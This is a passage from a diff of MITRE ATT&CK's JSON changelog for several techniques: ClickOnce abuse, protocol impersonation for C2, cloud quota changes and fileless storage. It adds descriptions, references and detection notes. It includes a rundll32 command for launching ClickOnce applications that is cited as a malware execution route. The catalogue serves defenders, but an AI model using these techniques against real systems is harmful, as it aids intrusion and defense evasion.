"T1558.005" + }, + { + "source_name": "Binary Defense Kerberos Linux", + "description": " ARC Labs, Dwyer, John. Gonzalez, Eric. Hudak, Tyler. (2024, October 1). Shining a Light in the Dark \u2013 How Binary Defense Uncovered an APT Lurking in Shadows of IT. Retrieved October 7, 2024.", + "url": "https://www.binarydefense.com/resources/blog/shining-a-light-in-the-dark-how-binary-defense-uncovered-an-apt-lurking-in-shadows-of-it/" + }, + { + "source_name": "Kerberos GNU/Linux", + "description": "Adepts of 0xCC. (2021, January 28). The Kerberos Credential Thievery Compendium (GNU/Linux). Retrieved September 17, 2024.", + "url": "https://adepts.of0x.cc/kerberos-thievery-linux/" + }, + { + "source_name": "Kekeo", + "description": "Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.", + "url": "https://github.com/gentilkiwi/kekeo" + }, + { + "source_name": "SpectorOps Bifrost Kerberos macOS 2019", + "description": "Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021.", + "url": "https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f" + }, + { + "source_name": "Brining MimiKatz to Unix", + "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.", + "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf" + }, + { + "source_name": "Linux Kerberos Tickets", + "description": "Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021.", + "url": "https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "File: File Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cc279e50-df85-4c8e-be80-6dc2eda8849c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-09 14:39:28.637000+00:00", + "modified": "2024-10-17 18:50:41.474000+00:00", + "name": "ClickOnce", + "description": "Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce)\n\nBecause ClickOnce applications receive only limited permissions, they do not require administrative permissions to install.(Citation: Microsoft Learn ClickOnce) As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.\n\nClickOnce may be abused in a number of ways. For example, an adversary may rely on [User Execution](https://attack.mitre.org/techniques/T1204). When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.(Citation: NetSPI ClickOnce)\n\nAdversaries may also abuse ClickOnce to execute malware via a [Rundll32](https://attack.mitre.org/techniques/T1218/011) script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBAS /Dfsvc.exe)\n\nAdditionally, an adversary can move the ClickOnce application file to a remote user\u2019s startup folder for continued malicious code deployment (i.e., [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: Burke/CISA ClickOnce Paper)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1127/002", + "external_id": "T1127.002" + }, + { + "source_name": "LOLBAS /Dfsvc.exe", + "description": "LOLBAS. (n.d.). /Dfsvc.exe. Retrieved September 9, 2024.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Dfsvc/" + }, + { + "source_name": "Microsoft Learn ClickOnce", + "description": "Microsoft. (2023, September 14). ClickOnce security and deployment. Retrieved September 9, 2024.", + "url": "https://learn.microsoft.com/en-us/visualstudio/deployment/clickonce-security-and-deployment?view=vs-2022" + }, + { + "source_name": "SpectorOps Medium ClickOnce", + "description": "Nick Powers. (2023, June 7). Less SmartScreen More Caffeine: (Ab)Using ClickOnce for Trusted Code Execution. Retrieved September 9, 2024.", + "url": "https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5" + }, + { + "source_name": "NetSPI ClickOnce", + "description": "Ryan Gandrud. (2015, March 23). All You Need Is One \u2013 A ClickOnce Love Story. Retrieved September 9, 2024.", + "url": "https://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/" + }, + { + "source_name": "Burke/CISA ClickOnce Paper", + "description": "William J. Burke IV. (n.d.). Appref-ms Abuse for Code Execution & C2. Retrieved September 9, 2024.", + "url": "https://i.blackhat.com/USA-19/Wednesday/us-19-Burke-ClickOnce-And-Youre-In-When-Appref-Ms-Abuse-Is-Operating-As-Intended-wp.pdf?_gl=1*1jv89bf*_gcl_au*NjAyMzkzMjc3LjE3MjQ4MDk4OTQ.*_ga*MTk5OTA3ODkwMC4xNzI0ODA5ODk0*_ga_K4JK67TFYV*MTcyNDgwOTg5NC4xLjEuMTcyNDgwOTk1Ny4wLjAuMA..&_ga=2.256219723.1512103758.1724809895-1999078900.1724809894" + }, + { + "source_name": "Burke/CISA ClickOnce BlackHat", + "description": "William Joseph Burke III. (2019, August 7). CLICKONCE AND YOU\u2019RE IN: When .appref-ms abuse is operating as intended. Retrieved September 9, 2024.", + "url": "https://i.blackhat.com/USA-19/Wednesday/us-19-Burke-ClickOnce-And-Youre-In-When-Appref-Ms-Abuse-Is-Operating-As-Intended.pdf?_gl=1*16njas6*_gcl_au*NjAyMzkzMjc3LjE3MjQ4MDk4OTQ.*_ga*MTk5OTA3ODkwMC4xNzI0ODA5ODk0*_ga_K4JK67TFYV*MTcyNDgwOTg5NC4xLjEuMTcyNDgwOTk1Ny4wLjAuMA..&_ga=2.253743689.1512103758.1724809895-1999078900.1724809894" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Wirapong Petshagun" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: Process Metadata", + "Module: Module Load" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_system_requirements": [ + ".NET Framework" + ], + "x_mitre_version": "1.0" + } + ], + "major_version_changes": [ + { + "type": "attack-pattern", + "id": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-15 00:40:27.503000+00:00", + "modified": "2024-10-09 15:40:19.436000+00:00", + "name": "Protocol or Service Impersonation", + "description": "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. \n\nAdversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citation: Malleable-C2-U42)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1001/003", + "external_id": "T1001.003" + }, + { + "source_name": "Malleable-C2-U42", + "description": "Chris Navarrete Durgesh Sangvikar Andrew Guan Yu Fu Yanhui Jia Siddhart Shibiraj. (2022, March 16). Cobalt Strike Analysis and Tutorial: How Malleable C2 Profiles Make Cobalt Strike Difficult to Detect. Retrieved September 24, 2024.", + "url": "https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "ESET Okrum July 2019", + "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "James Emery-Callcott, Emerging Threats Team, Proofpoint" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_contributors']\": [\"James Emery-Callcott, Emerging Threats Team, Proofpoint\"], \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-09 15:40:19.436000+00:00\", \"old_value\": \"2020-03-15 00:40:27.503000+00:00\"}, \"root['name']\": {\"new_value\": \"Protocol or Service Impersonation\", \"old_value\": \"Protocol Impersonation\"}, \"root['description']\": {\"new_value\": \"Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. \\n\\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. \\n\\nAdversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citation: Malleable-C2-U42)\", \"old_value\": \"Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. \\n\\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. \\n \\n Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. \\n+\\n+Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citation: Malleable-C2-U42)\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Malleable-C2-U42\", \"description\": \"Chris Navarrete Durgesh Sangvikar Andrew Guan Yu Fu Yanhui Jia Siddhart Shibiraj. (2022, March 16). Cobalt Strike Analysis and Tutorial: How Malleable C2 Profiles Make Cobalt Strike Difficult to Detect. Retrieved September 24, 2024.\", \"url\": \"https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/\"}, \"root['external_references'][3]\": {\"source_name\": \"ESET Okrum July 2019\", \"description\": \"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020.\", \"url\": \"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may impersonate legitimate protocols or web servt1Adversaries may impersonate legitimate protocols or web serv
>ice traffic to disguise command and control activity and thw>ice traffic to disguise command and control activity and thw
>art analysis efforts. By impersonating legitimate protocols >art analysis efforts. By impersonating legitimate protocols 
>or web services, adversaries can make their command and cont>or web services, adversaries can make their command and cont
>rol traffic blend in with legitimate network traffic.    Adv>rol traffic blend in with legitimate network traffic.    Adv
>ersaries may impersonate a fake SSL/TLS handshake to make it>ersaries may impersonate a fake SSL/TLS handshake to make it
> look like subsequent traffic is SSL/TLS encrypted, potentia> look like subsequent traffic is SSL/TLS encrypted, potentia
>lly interfering with some security tooling, or to make the t>lly interfering with some security tooling, or to make the t
>raffic look like it is related with a trusted entity. >raffic look like it is related with a trusted entity.   Adve
 >rsaries may also leverage legitimate protocols to impersonat
 >e expected web traffic or trusted services. For example, adv
 >ersaries may manipulate HTTP headers, URI endpoints, SSL cer
 >tificates, and transmitted data to disguise C2 communication
 >s or mimic legitimate services such as Gmail, Google Drive, 
 >and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citatio
 >n: Malleable-C2-U42)
", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0029: Network Traffic (Network Traffic Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ca00366b-83a1-4c7b-a0ce-8ff950a7c87f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-09-05 14:19:17.486000+00:00", + "modified": "2024-09-25 14:15:26.322000+00:00", + "name": "Modify Cloud Compute Configurations", + "description": "Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim\u2019s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.\n\nFor example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim\u2019s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)\n\nAdversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1578/005", + "external_id": "T1578.005" + }, + { + "source_name": "Microsoft Cryptojacking 2023", + "description": "Microsoft Threat Intelligence. (2023, July 25). Cryptojacking: Understanding and defending against cloud compute resource abuse. Retrieved September 5, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/07/25/cryptojacking-understanding-and-defending-against-cloud-compute-resource-abuse/" + }, + { + "source_name": "Microsoft Azure Policy", + "description": "Microsoft. (2023, August 30). Azure Policy built-in policy definitions. Retrieved September 5, 2023.", + "url": "https://learn.microsoft.com/en-us/azure/governance/policy/samples/built-in-policies#compute" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Blake Strom, Microsoft Threat Intelligence", + "Amir Gharib, Microsoft Threat Intelligence" + ], + "x_mitre_data_sources": [ + "Cloud Service: Cloud Service Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 14:15:26.322000+00:00\", \"old_value\": \"2023-10-02 22:17:54.968000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim\\u2019s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.\\n\\nFor example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim\\u2019s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)\\n\\nAdversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). \", \"old_value\": \"Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim\\u2019s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.\\n\\nFor example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim\\u2019s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)\\n\\nAdversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation: Microsoft Peach Sandstorm 2023) This will allow the adversary to use the victim\\u2019s compute resources without generating logs on the victim tenant.(Citation: Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022)\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n For example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim\\u2019s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)\\n \\n-Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation: Microsoft Peach Sandstorm 2023) This will allow the adversary to use the victim\\u2019s compute resources without generating logs on the victim tenant.(Citation: Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022)\\n+Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). \"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"Microsoft Subscription Hijacking 2022\", \"description\": \"Dor Edry. (2022, August 24). Hunt for compromised Azure subscriptions using Microsoft Defender for Cloud Apps. Retrieved September 5, 2023.\", \"url\": \"https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/hunt-for-compromised-azure-subscriptions-using-microsoft/ba-p/3607121\"}, \"root['external_references'][3]\": {\"source_name\": \"Microsoft Peach Sandstorm 2023\", \"description\": \"Microsoft Threat Intelligence. (2023, September 14). Peach Sandstorm password spray campaigns enable intelligence collection at high-value targets. Retrieved September 18, 2023.\", \"url\": \"https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may modify settings that directly affect the sizt1Adversaries may modify settings that directly affect the siz
>e, locations, and resources available to cloud compute infra>e, locations, and resources available to cloud compute infra
>structure in order to evade defenses. These settings may inc>structure in order to evade defenses. These settings may inc
>lude service quotas, subscription associations, tenant-wide >lude service quotas, subscription associations, tenant-wide 
>policies, or other configurations that impact available comp>policies, or other configurations that impact available comp
>ute. Such modifications may allow adversaries to abuse the v>ute. Such modifications may allow adversaries to abuse the v
>ictim\u2019s compute resources to achieve their goals, potentiall>ictim\u2019s compute resources to achieve their goals, potentiall
>y without affecting the execution of running instances and/o>y without affecting the execution of running instances and/o
>r revealing their activities to the victim.  For example, cl>r revealing their activities to the victim.  For example, cl
>oud providers often limit customer usage of compute resource>oud providers often limit customer usage of compute resource
>s via quotas. Customers may request adjustments to these quo>s via quotas. Customers may request adjustments to these quo
>tas to support increased computing needs, though these adjus>tas to support increased computing needs, though these adjus
>tments may require approval from the cloud provider. Adversa>tments may require approval from the cloud provider. Adversa
>ries who compromise a cloud environment may similarly reques>ries who compromise a cloud environment may similarly reques
>t quota adjustments in order to support their activities, su>t quota adjustments in order to support their activities, su
>ch as enabling additional [Resource Hijacking](https://attac>ch as enabling additional [Resource Hijacking](https://attac
>k.mitre.org/techniques/T1496) without raising suspicion by u>k.mitre.org/techniques/T1496) without raising suspicion by u
>sing up a victim\u2019s entire quota.(Citation: Microsoft Cryptoj>sing up a victim\u2019s entire quota.(Citation: Microsoft Cryptoj
>acking 2023) Adversaries may also increase allowed resource >acking 2023) Adversaries may also increase allowed resource 
>usage by modifying any tenant-wide policies that limit the s>usage by modifying any tenant-wide policies that limit the s
>izes of deployed virtual machines.(Citation: Microsoft Azure>izes of deployed virtual machines.(Citation: Microsoft Azure
> Policy)  Adversaries may also modify settings that affect w> Policy)  Adversaries may also modify settings that affect w
>here cloud resources can be deployed, such as enabling [Unus>here cloud resources can be deployed, such as enabling [Unus
>ed/Unsupported Cloud Regions](https://attack.mitre.org/techn>ed/Unsupported Cloud Regions](https://attack.mitre.org/techn
>iques/T1535). In Azure environments, an adversary who has ga>iques/T1535). 
>ined access to a Global Administrator account may create new 
> subscriptions in which to deploy resources, or engage in su 
>bscription hijacking by transferring an existing pay-as-you- 
>go subscription from a victim tenant to an adversary-control 
>led tenant.(Citation: Microsoft Peach Sandstorm 2023) This w 
>ill allow the adversary to use the victim\u2019s compute resource 
>s without generating logs on the victim tenant.(Citation: Mi 
>crosoft Azure Policy) (Citation: Microsoft Subscription Hija 
>cking 2022) 
", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0025: Cloud Service (Cloud Service Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-23 19:55:25.546000+00:00", + "modified": "2024-10-04 15:05:25.388000+00:00", + "name": "Fileless Storage", + "description": "Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) In Linux systems, shared memory directories such as `/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock` may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027/011", + "external_id": "T1027.011" + }, + { + "source_name": "Aquasec Muhstik Malware 2024", + "description": " Nitzan Yaakov. (2024, June 4). Muhstik Malware Targets Message Queuing Services Applications. Retrieved September 24, 2024.", + "url": "https://www.aquasec.com/blog/muhstik-malware-targets-message-queuing-services-applications/" + }, + { + "source_name": "Elastic Binary Executed from Shared Memory Directory", + "description": "Elastic. (n.d.). Binary Executed from Shared Memory Directory. Retrieved September 24, 2024.", + "url": "https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-3-binary-executed-from-shared-memory-directory.html" + }, + { + "source_name": "SecureList Fileless", + "description": "Legezo, D. (2022, May 4). A new secret stash for \u201cfileless\u201d malware. Retrieved March 23, 2023.", + "url": "https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/" + }, + { + "source_name": "Microsoft Fileless", + "description": "Microsoft. (2023, February 6). Fileless threats. Retrieved March 23, 2023.", + "url": "https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats" + }, + { + "source_name": "Sysdig Fileless Malware 23022", + "description": "Nicholas Lang. (2022, May 3). Fileless malware mitigation. Retrieved September 24, 2024.", + "url": "https://sysdig.com/blog/containers-read-only-fileless-malware/" + }, + { + "source_name": "Akami Frog4Shell 2024", + "description": "Ori David. (2024, February 1). Frog4Shell \u2014 FritzFrog Botnet Adds One-Days to Its Arsenal. Retrieved September 24, 2024.", + "url": "https://www.akamai.com/blog/security-research/fritzfrog-botnet-new-capabilities-log4shell" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Christopher Peacock", + "Denise Tan", + "Mark Wee", + "Simona David", + "Xavier Rousseau", + "Vito Alfano, Group-IB" + ], + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Creation", + "WMI: WMI Creation", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + 